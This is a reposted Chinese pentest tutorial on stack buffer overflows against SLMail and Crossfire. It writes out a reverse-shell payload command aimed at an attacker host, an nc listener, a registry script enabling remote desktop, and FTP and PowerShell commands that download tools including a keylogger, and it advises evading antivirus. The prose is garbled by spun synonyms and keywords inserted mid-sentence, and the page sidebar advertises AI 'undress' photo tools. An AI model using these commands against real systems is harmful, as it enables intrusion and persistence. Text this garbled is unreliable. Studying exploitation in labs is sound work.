搜索
首页系统教程LINUXLinux渗透测试教程:手把手教你栈溢出从入门到放弃

笔记内容参考安全牛课堂苑房弘老师的KaliLinux渗透测试教程

所有漏洞的症结均来自于数据的输入,缓冲区溢出的原理在于数据与代码边界模糊,当缓冲区边界限制不严格时,因为变量传入畸形数据或程序运行错误,致使缓冲区被“撑暴”,进而覆盖了相邻显存区域的数据,成功更改显存数据,可导致进程绑架,执行恶意代码,获取服务器控制权等后果。

为更好理解缓冲区溢出原理,参考笔者转载的文章:

手把手教你栈溢出从入门到舍弃(上)

手把手教你栈溢出从入门到舍弃(下)

文章目录

一、发现漏洞的方式(一)源码审计

软件开发人员,或则借助社工等方法获取源码进行审查、调试。条件严苛,通常源码无法获取。

(二)逆向工程(ReverseEngineering)

借助逆向工程获取汇编源码进行剖析,汇编代码剖析工作量大,难度高。

linux防缓冲区溢出_缓冲区溢出代码例子_缓冲区溢出shellcode

(三)模糊测试(Fuzzing)

是一种通过向目标系统提供非预期的输入并监视异常结果来发觉软件漏洞的方式,一般情况下会使用一个有效的输入和添加随机偏差来完成,须要利用软件调试工具(如:ImmunityDebugger)。

二、模糊测试过程

首先要了解一些针对缓冲区溢出的安全保护技术,由于在模糊测试过程中要避开这种保护机制。

(一)Windows

测试软件为’SLMail5.5.0MailServer’,其PASS命令存在缓冲区溢出漏洞。基本思路:(调试工具用ImmunityDebugger)

1.借助python脚本测试PASS命令接收到大量数据时是否会溢出,通常到3000个字符尚未出现溢出现象则说明该处应当不存在溢出漏洞。

2.发觉溢出漏洞后,判定EIP对应的地址,基本方式有:二分法、唯一字符串法。惟一字符串法可以借助metasploit脚本usr/share/metasploit-framework/tools/pattern_create.rb3000生成。

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

3.将EIP更改为Shellcode对应的显存地址,将Shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行。

4.通过调试工具发觉,发送的数据填充EIP后,紧接着会填充ESP指向的空间,因而我们将Shellcode放在ESP的位置。

5.判定ESP地址到栈底的距离linux防缓冲区溢出,即可以储存Shellcode的大小。借助python脚本向软件发送数据测试,通过调试软件看有多少数据储存在ESP指向的空间。现代计算机系统进程的显存空间视图如图所示:

图1进程的显存空间视图

6.由于ASLR机制,软件每次运行函数调用栈的地址是随机变化的,因而硬编码不可行,变通思路在显存中找寻地址固定的系统模块,在模块中找寻JMPESP指令的地址跳转,再由该指令间接跳转到ESP,进而执行shellcode,借助mona.py脚本辨识显存模块,搜索“returnaddress”是JMPESP指令的模块,找寻不受DEP、ASLR机制保护的系统模块!monamodules,借助/usr/share/metasploit-framework/tools/nasm_shell.rb将汇编指令jmpesp转换为二补码为FFE4,在模块中搜索FFE4指令!monafind-s“xffxe4”-mslmfc.dll,找到指令所在地址后,将该地址填入EIPlinux版qq,构造Shellcode,且去除坏字符:/msfpayloadwin32_reverseLHOST=192.168.20.8LPORT=443R|./msfencode-b“x00x0ax0d

注:构造Shellcode时选择的payload是reverse反向联接,而不是直连bind,这样可以避免防火墙的封堵策略。

7.最后开启端口窃听nc-vlp443,Shellcode执行结束后以ExitProcess方法退出整个进程,将造成短信服务崩溃,Slmail是一个基于线程的应用,适用ExitThread方法可以防止整个服务崩溃,可实现重复溢出:/msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b“x00x0ax0d”

注:不同类型的程序、协议、漏洞,会将个别字符觉得是坏字符,那些字符有固定用途,因而返回地址、Shellcode、buffer中都不能出现坏字符。发送0x00—0xff256个字符,查找所有坏字符。借助metasploit脚本./msfencode可以编码坏字符。

8.假如要进一步控制功击目标,可以通过更改注册表开启远程桌面,Windows中90%以上的配置都可以通过更改注册表完成:

<span class="token function">echo</span> Windows Registry Editor Version 5<span class="token punctuation">.</span>00>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
Server]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"fDenyTSConnections"</span>=dword:00000000>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWdsrdpwdTdstcp]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg
regedit <span class="token operator">/</span>s 3389<span class="token punctuation">.</span>reg

(二)Linux

测试软件为’Crossfire’,1.9.0在接受入站socket联接时存在缓存区溢出漏洞。基本思路同WindowsFuzzing(调试工具用edb),不再赘言,需注意以下几点:

1.调试命令:edb--run/usr/games/crossfire/bin/crossfire

2.在验证缓冲区溢出时发觉只有当payload固定4368字节时能够确切覆盖EIP的值,这样ESP指向的空间只剩下7个字节,不足以放下Shellcode,因而在edb中查找可以被数据完全覆盖的寄存器,找到EAX,于是变通思路ESP跳转到EAX执行Shellcode。

三、选择和更改EXP

网上有针对各类软件早已公布漏洞的借助代码(EXP),我们可以选择可信赖的EXP源,在此基础上进行研究或更改,尤其是Shellcode不能轻易使用linux防缓冲区溢出,有可能带有病毒linux系统应用,须要把握的编程语言一般包括Python、C、C++、Ruby等。几个可靠的EXP源:

领到EXP后,须要注意以下几点:

四、后漏洞借助阶段

包括上传工具、提权、擦除功击痕迹、安装侧门等进一步操作,这儿仅讨论文件上传操作,文件上传是预置木马、安装侧门的基础,主要依据早已取得的目标操作系统的shell,进行文件上传操作。

(一)Windows

首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:

1.Linux端:配置ftp服务

登陆FTP有三种形式:

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span>
vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span>
<span class="token comment">#添加配置</span>
local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span>
<span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span>
<span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span>
chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span>
chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span>
chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list
<span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span>
userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span>
userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span>
<span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span>
<span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span>
<span class="token function">mkdir</span> /home/ftpduser
<span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1
<span class="token function">service</span> vsftpd start

2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置

(1)使用ftp传输文件

由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。

<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt
ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt

(2)使用powershell传输文件

<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span>
<span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient
<span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span>
<span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span>
<span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span>
powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1

(二)Linux

借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。

注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。

以上是Linux渗透测试教程:手把手教你栈溢出从入门到放弃的详细内容。更多信息请关注PHP中文网其他相关文章!

声明
本文转载于:ITcool。如有侵权,请联系admin@php.cn删除
使用pyjokes创建随机笑话的Python脚本使用pyjokes创建随机笑话的Python脚本Sep 13, 2023 pm 08:25 PM

您想为您的Python脚本或应用程序添加一些幽默吗?无论您是构建聊天机器人、开发命令行工具,还是只是想用随机笑话自娱自乐,pyjokes库都可以为您提供帮助。借助pyjokes,您可以轻松生成各种类别的笑话,并根据您的喜好进行自定义。在这篇博文中,我们将探讨如何使用pyjokes库在Python中创建随机笑话。我们将介绍安装过程、生成不同类别的笑话、自定义笑话、在控制台应用程序或网页中显示它们,以及处理可能发生的任何潜在错误。安装pyjokes在我们开始使用pyjokes创建随机笑话之前,我们需

PyCharm高级教程:利用PyInstaller将代码打包为EXE格式PyCharm高级教程:利用PyInstaller将代码打包为EXE格式Feb 20, 2024 am 09:34 AM

PyCharm是一款功能强大的Python集成开发环境,提供了丰富的功能和工具来帮助开发者提高效率。其中,PyInstaller是一个常用的工具,可以将Python代码打包为可执行文件(EXE格式),方便在没有Python环境的机器上运行。在本篇文章中,我们将介绍如何在PyCharm中使用PyInstaller将Python代码打包为EXE格式,并提供具体的

用于监控网站变化的Python脚本用于监控网站变化的Python脚本Aug 29, 2023 pm 12:25 PM

在当今的数字时代,了解网站上的最新变化对于各种目的都至关重要,例如跟踪竞争对手网站上的更新、监控产品可用性或随时了解重要信息。手动检查网站是否有更改可能既耗时又低效。这就是自动化发挥作用的地方。在这篇博文中,我们将探讨如何创建Python脚本来监控网站更改。通过利用Python的强大功能和一些方便的库,我们可以自动化检索网站内容、与以前的版本进行比较并通知我们任何更改的过程。这使我们能够保持主动并及时对我们监控的网站上的更新或修改做出反应。设置环境在开始编写脚本来监控网站更改之前,我们需要设置P

完全指南:确保准确查看Django版本完全指南:确保准确查看Django版本Feb 19, 2024 pm 06:33 PM

专业指南:如何准确查看Django版本,需要具体代码示例引言:Django是一个高度受欢迎的PythonWeb框架,其不断更新的版本对于开发者来说非常重要。查看Django版本对于确保使用最新功能和修复了的漏洞至关重要。本文将介绍如何准确查看Django版本,并提供具体的代码示例。一、使用命令行查看Django版本使用命令行是最简单快捷的方式来查看Djan

Python脚本自动刷新Excel电子表格Python脚本自动刷新Excel电子表格Sep 09, 2023 pm 06:21 PM

Python和Excel是两个强大的工具,结合起来可以开启自动化世界。Python具有多功能的库和用户友好的语法,使我们能够编写脚本来有效地执行各种任务。另一方面,Excel是一种广泛使用的电子表格程序,它为数据分析和操作提供了熟悉的界面。在本教程中,我们将探索如何利用Python来自动化刷新Excel电子表格的过程,从而节省我们的时间和精力。您是否发现自己花费了宝贵的时间使用更新的数据手动刷新Excel电子表格?这是一项重复且耗时的任务,可能会真正降低生产力。在本文中,我们将指导您完成使用Py

Flask安装配置教程:轻松搭建PythonWeb应用的利器Flask安装配置教程:轻松搭建PythonWeb应用的利器Feb 20, 2024 pm 11:12 PM

Flask安装配置教程:轻松搭建PythonWeb应用的利器,需要具体代码示例引言:随着Python的日益流行,Web开发也成为了Python程序员的必备技能之一。而要进行Python的Web开发,我们需要选择合适的Web框架。在众多的PythonWeb框架中,Flask是一款简洁、易上手且灵活的框架,备受开发者们的青睐。本文将介绍Flask框架的安装、

如何在Linux系统中运行Python脚本如何在Linux系统中运行Python脚本Oct 05, 2023 am 08:05 AM

如何在Linux系统中运行Python脚本作为一种强大的脚本语言,Python在Linux系统中广泛应用。在本文中,我将为你介绍如何在Linux系统中运行Python脚本,并提供具体的代码示例。安装Python首先,确保你的Linux系统上已经安装了Python。在终端中输入以下命令来检查系统是否已安装Python:python--version如果显示了

C++编译错误:递归过深导致栈溢出,怎样解决?C++编译错误:递归过深导致栈溢出,怎样解决?Aug 22, 2023 pm 04:07 PM

C++是一门广泛应用的编程语言,在其编译和执行过程中难免会遇到各种错误。其中一种常见的错误是递归过深导致栈溢出。在递归中,当递归层数过多时,程序会遇到栈溢出的错误,这是因为递归函数需要一定的内存空间来存储每次递归时的局部变量和函数调用。而每次递归都会将这些局部变量和函数调用压入函数调用栈中,堆栈的大小是有限的,一旦超过了这个限制,就会发生栈溢出,导致程序崩溃

See all articles

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
2 周前By尊渡假赌尊渡假赌尊渡假赌
仓库:如何复兴队友
4 周前By尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island冒险:如何获得巨型种子
4 周前By尊渡假赌尊渡假赌尊渡假赌

热工具

安全考试浏览器

安全考试浏览器

Safe Exam Browser是一个安全的浏览器环境,用于安全地进行在线考试。该软件将任何计算机变成一个安全的工作站。它控制对任何实用工具的访问,并防止学生使用未经授权的资源。

DVWA

DVWA

Damn Vulnerable Web App (DVWA) 是一个PHP/MySQL的Web应用程序,非常容易受到攻击。它的主要目标是成为安全专业人员在合法环境中测试自己的技能和工具的辅助工具,帮助Web开发人员更好地理解保护Web应用程序的过程,并帮助教师/学生在课堂环境中教授/学习Web应用程序安全。DVWA的目标是通过简单直接的界面练习一些最常见的Web漏洞,难度各不相同。请注意,该软件中

SublimeText3 英文版

SublimeText3 英文版

推荐:为Win版本,支持代码提示!

EditPlus 中文破解版

EditPlus 中文破解版

体积小,语法高亮,不支持代码提示功能

SublimeText3 Linux新版

SublimeText3 Linux新版

SublimeText3 Linux最新版